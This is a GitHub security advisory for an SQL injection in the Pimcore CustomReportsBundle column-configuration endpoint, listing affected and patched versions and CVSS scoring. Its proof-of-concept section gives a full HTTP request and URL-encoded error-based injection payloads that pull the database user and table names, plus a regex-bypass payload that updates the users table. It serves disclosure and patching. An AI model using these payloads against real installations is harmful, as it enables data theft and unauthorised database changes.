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Pimcore Vulnerable to SQL Injection in Custom Reports Column Configuration

High severity GitHub Reviewed Published May 26, 2026 in pimcore/pimcore • Updated Jul 10, 2026

Package

composer pimcore/pimcore (Composer)

Affected versions

>= 2026.1.0, < 2026.1.2
<= 11.5.16
>= 12.0.0-RC1, <= 12.3.5

Patched versions

2026.1.2
11.5.17
12.3.6

Description

Summary

The columnConfigAction endpoint in the CustomReportsBundle is vulnerable to SQL injection. An attacker with the reports_config permission can supply a malicious SQL configuration that is concatenated into a query and executed. Although the application attempts to filter certain DDL/DML keywords (like UPDATE, DELETE, DROP), it fails to prevent arbitrary SELECT queries, UNION statements, or the use of dangerous database functions. Furthermore, because the application returns database error messages in the JSON response, an attacker can easily exfiltrate data using error-based SQL injection techniques.

Affected scope

bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php
CustomReportController:columnConfigAction -> SqlAdapter::getColumns -> SqlAdapter::buildQueryString -> Db::fetchAssociative()

PoC

  • Download and install the version Pimcore <=12.3.3 (latest)
  • Login using Admin account or any account that has reports_config permission
  • Navigate to custom reports
  • Capture the request using burp suite and perform SQLi attack as the following
  1. Get Database username
POST /admin/bundle/customreports/custom-report/column-config HTTP/1.1
Host: localhost
Content-Length: 310
sec-ch-ua-platform: "Linux"
Accept-Language: en-US,en;q=0.9
sec-ch-ua: "Not_A Brand";v="99", "Chromium";v="142"
sec-ch-ua-mobile: ?0
X-pimcore-extjs-version-minor: 0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
X-pimcore-csrf-token: 2e42012c8310823bbdbce1598bdecfd19cb5e9c4
X-pimcore-extjs-version-major: 7
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/admin/
Accept-Encoding: gzip, deflate, br
Cookie: pimcore_admin_auth_profile_token=9f990b; PHPSESSID=d101f6fce4d87b8bdbbe800f9f50c82a; _pc_vis=3a17250fba52c657; _pc_ses=1774896807012; _pc_tss=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3NzQ4OTc1MTQuNjEwNzE3LCJwdGciOnsiX20iOjEsIl9jIjoxNzc0ODk2ODA1LCJfdSI6MTc3NDg5NzUxNCwidmk6c3J1IjpbN119LCJleHAiOjE3NzQ4OTkzMTR9.uO4iHiABylQ2KyZC0p8Li9hpgWfHnNQ01GUkbeY1Wmc; _pc_tvs=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3NzQ4OTc1MTQuNjExNTA4LCJwdGciOnsiY21mOnNnIjp7Ijg2MCI6Mn0sIl9jIjoxNzc0ODc2MzQyLCJfdSI6MTc3NDg5NjgwNX0sImV4cCI6MTgwNjQzMzUxNH0.mhq_2qwWzWWGruI0VNnAwgs8QzfZfbc6Za0uGn7zNYM
Connection: keep-alive

configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%221%20AND%20(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(SELECT%20user())%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes
  1. Get Database name
configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%221%20AND%20(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(select%2bcurrent_setting(%24%24is_superuser%24%24))%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes
  1. Get Tables names
    Note: Update the limit parameter to iterate around the tables queries like limit 0,1 limit 1,1 , limit 2,1 ..etc
configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%22(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(SELECT%20table_name%20FROM%20information_schema.tables%20WHERE%20table_schema%3ddatabase()%20LIMIT%200%2c1)%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes
  1. Bypass the implemented Regex and perform SQL updat eto for exmaple update the admin username
configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%22*%22%2c%22from%22%3a%22users%22%2c%22where%22%3a%22id%3d1)%2f**%2fOR%2f**%2f1%3d1%3b%2f**%2fUPDATE%2f**%2fusers%2f**%2fSET%2f**%2fname%3d'admin'%2f**%2fWHERE%2f**%2fname%3d'admin2'%3b--%20-%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes

Impact

By exploiting this vulneability any user with custom-report access could manipuate and crawl the database information and also bypass the application filters to Update,insert or delete database tables, which impact on the application confidentiality ,intergrity and service availability

References

@kingjia90 kingjia90 published to pimcore/pimcore May 26, 2026
Published to the GitHub Advisory Database May 27, 2026
Reviewed May 27, 2026
Last updated Jul 10, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(8th percentile)

Weaknesses

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. Learn more on MITRE.

CVE ID

CVE-2026-44739

GHSA ID

GHSA-3234-gxc3-pq6f

Source code

Credits

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